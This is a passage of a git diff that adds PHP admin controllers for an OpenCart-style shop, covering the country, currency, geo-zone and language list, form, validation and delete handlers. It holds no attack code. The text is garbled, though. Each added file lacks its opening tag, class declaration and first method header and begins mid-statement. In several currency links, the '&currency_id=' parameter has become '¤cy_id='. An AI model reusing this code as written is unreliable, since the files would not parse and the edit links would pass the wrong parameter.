+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($country_info)) {
+ $data['status'] = $country_info['status'];
+ } else {
+ $data['status'] = '1';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/country_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/country')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 128)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/country')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('customer/customer');
+ $this->load->model('localisation/zone');
+ $this->load->model('localisation/geo_zone');
+
+ foreach ($this->request->post['selected'] as $country_id) {
+ if ($this->config->get('config_country_id') == $country_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByCountryId($country_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $address_total = $this->model_customer_customer->getTotalAddressesByCountryId($country_id);
+
+ if ($address_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_address'), $address_total);
+ }
+
+ $zone_total = $this->model_localisation_zone->getTotalZonesByCountryId($country_id);
+
+ if ($zone_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_zone'), $zone_total);
+ }
+
+ $zone_to_geo_zone_total = $this->model_localisation_geo_zone->getTotalZoneToGeoZoneByCountryId($country_id);
+
+ if ($zone_to_geo_zone_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_zone_to_geo_zone'), $zone_to_geo_zone_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function country() {
+ $json = array();
+
+ $this->load->model('localisation/country');
+
+ $country_info = $this->model_localisation_country->getCountry($this->request->get['country_id']);
+
+ if ($country_info) {
+ $this->load->model('localisation/zone');
+
+ $json = array(
+ 'country_id' => $country_info['country_id'],
+ 'name' => $country_info['name'],
+ 'iso_code_2' => $country_info['iso_code_2'],
+ 'iso_code_3' => $country_info['iso_code_3'],
+ 'address_format' => $country_info['address_format'],
+ 'postcode_required' => $country_info['postcode_required'],
+ 'zone' => $this->model_localisation_zone->getZonesByCountryId($this->request->get['country_id']),
+ 'status' => $country_info['status']
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/currency.php b/public/admin/controller/localisation/currency.php
new file mode 100644
index 0000000..069b409
--- /dev/null
+++ b/public/admin/controller/localisation/currency.php
@@ -0,0 +1,463 @@
+load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_currency->addCurrency($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_currency->editCurrency($this->request->get['currency_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $currency_id) {
+ $this->model_localisation_currency->deleteCurrency($currency_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function refresh() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if ($this->validateRefresh()) {
+ $this->model_localisation_currency->refresh(true);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ //$this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/currency/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/currency/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['refresh'] = $this->url->link('localisation/currency/refresh', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['currencies'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $currency_total = $this->model_localisation_currency->getTotalCurrencies();
+
+ $results = $this->model_localisation_currency->getCurrencies($filter_data);
+
+ foreach ($results as $result) {
+ $data['currencies'][] = array(
+ 'currency_id' => $result['currency_id'],
+ 'title' => $result['title'] . (($result['code'] == $this->config->get('config_currency')) ? $this->language->get('text_default') : null),
+ 'code' => $result['code'],
+ 'value' => $result['value'],
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('localisation/currency/edit', 'user_token=' . $this->session->data['user_token'] . '¤cy_id=' . $result['currency_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+ $data['sort_code'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_value'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $currency_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($currency_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($currency_total - $this->config->get('config_limit_admin'))) ? $currency_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $currency_total, ceil($currency_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/currency_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['currency_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['currency_id'])) {
+ $data['action'] = $this->url->link('localisation/currency/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/currency/edit', 'user_token=' . $this->session->data['user_token'] . '¤cy_id=' . $this->request->get['currency_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['currency_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $currency_info = $this->model_localisation_currency->getCurrency($this->request->get['currency_id']);
+ }
+
+ if (isset($this->request->post['title'])) {
+ $data['title'] = $this->request->post['title'];
+ } elseif (!empty($currency_info)) {
+ $data['title'] = $currency_info['title'];
+ } else {
+ $data['title'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($currency_info)) {
+ $data['code'] = $currency_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['symbol_left'])) {
+ $data['symbol_left'] = $this->request->post['symbol_left'];
+ } elseif (!empty($currency_info)) {
+ $data['symbol_left'] = $currency_info['symbol_left'];
+ } else {
+ $data['symbol_left'] = '';
+ }
+
+ if (isset($this->request->post['symbol_right'])) {
+ $data['symbol_right'] = $this->request->post['symbol_right'];
+ } elseif (!empty($currency_info)) {
+ $data['symbol_right'] = $currency_info['symbol_right'];
+ } else {
+ $data['symbol_right'] = '';
+ }
+
+ if (isset($this->request->post['decimal_place'])) {
+ $data['decimal_place'] = $this->request->post['decimal_place'];
+ } elseif (!empty($currency_info)) {
+ $data['decimal_place'] = $currency_info['decimal_place'];
+ } else {
+ $data['decimal_place'] = '';
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($currency_info)) {
+ $data['value'] = $currency_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($currency_info)) {
+ $data['status'] = $currency_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/currency_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['title']) < 3) || (utf8_strlen($this->request->post['title']) > 32)) {
+ $this->error['title'] = $this->language->get('error_title');
+ }
+
+ if (utf8_strlen($this->request->post['code']) != 3) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $currency_id) {
+ $currency_info = $this->model_localisation_currency->getCurrency($currency_id);
+
+ if ($currency_info) {
+ if ($this->config->get('config_currency') == $currency_info['code']) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByCurrency($currency_info['code']);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrdersByCurrencyId($currency_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateRefresh() {
+ if (!$this->user->hasPermission('modify', 'localisation/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/geo_zone.php b/public/admin/controller/localisation/geo_zone.php
new file mode 100644
index 0000000..ffda97b
--- /dev/null
+++ b/public/admin/controller/localisation/geo_zone.php
@@ -0,0 +1,377 @@
+load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_geo_zone->addGeoZone($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_geo_zone->editGeoZone($this->request->get['geo_zone_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $geo_zone_id) {
+ $this->model_localisation_geo_zone->deleteGeoZone($geo_zone_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/geo_zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/geo_zone/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['geo_zones'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $geo_zone_total = $this->model_localisation_geo_zone->getTotalGeoZones();
+
+ $results = $this->model_localisation_geo_zone->getGeoZones($filter_data);
+
+ foreach ($results as $result) {
+ $data['geo_zones'][] = array(
+ 'geo_zone_id' => $result['geo_zone_id'],
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'edit' => $this->url->link('localisation/geo_zone/edit', 'user_token=' . $this->session->data['user_token'] . '&geo_zone_id=' . $result['geo_zone_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_description'] = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . '&sort=description' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $geo_zone_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($geo_zone_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($geo_zone_total - $this->config->get('config_limit_admin'))) ? $geo_zone_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $geo_zone_total, ceil($geo_zone_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/geo_zone_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['geo_zone_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['description'])) {
+ $data['error_description'] = $this->error['description'];
+ } else {
+ $data['error_description'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['geo_zone_id'])) {
+ $data['action'] = $this->url->link('localisation/geo_zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/geo_zone/edit', 'user_token=' . $this->session->data['user_token'] . '&geo_zone_id=' . $this->request->get['geo_zone_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['geo_zone_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $geo_zone_info = $this->model_localisation_geo_zone->getGeoZone($this->request->get['geo_zone_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($geo_zone_info)) {
+ $data['name'] = $geo_zone_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['description'])) {
+ $data['description'] = $this->request->post['description'];
+ } elseif (!empty($geo_zone_info)) {
+ $data['description'] = $geo_zone_info['description'];
+ } else {
+ $data['description'] = '';
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['zone_to_geo_zone'])) {
+ $data['zone_to_geo_zones'] = $this->request->post['zone_to_geo_zone'];
+ } elseif (isset($this->request->get['geo_zone_id'])) {
+ $data['zone_to_geo_zones'] = $this->model_localisation_geo_zone->getZoneToGeoZones($this->request->get['geo_zone_id']);
+ } else {
+ $data['zone_to_geo_zones'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/geo_zone_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/geo_zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['description']) < 3) || (utf8_strlen($this->request->post['description']) > 255)) {
+ $this->error['description'] = $this->language->get('error_description');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/geo_zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('localisation/tax_rate');
+
+ foreach ($this->request->post['selected'] as $geo_zone_id) {
+ $tax_rate_total = $this->model_localisation_tax_rate->getTotalTaxRatesByGeoZoneId($geo_zone_id);
+
+ if ($tax_rate_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_tax_rate'), $tax_rate_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/language.php b/public/admin/controller/localisation/language.php
new file mode 100644
index 0000000..445d6bc
--- /dev/null
+++ b/public/admin/controller/localisation/language.php
@@ -0,0 +1,438 @@
+load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_language->addLanguage($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_language->editLanguage($this->request->get['language_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $language_id) {
+ $this->model_localisation_language->deleteLanguage($language_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
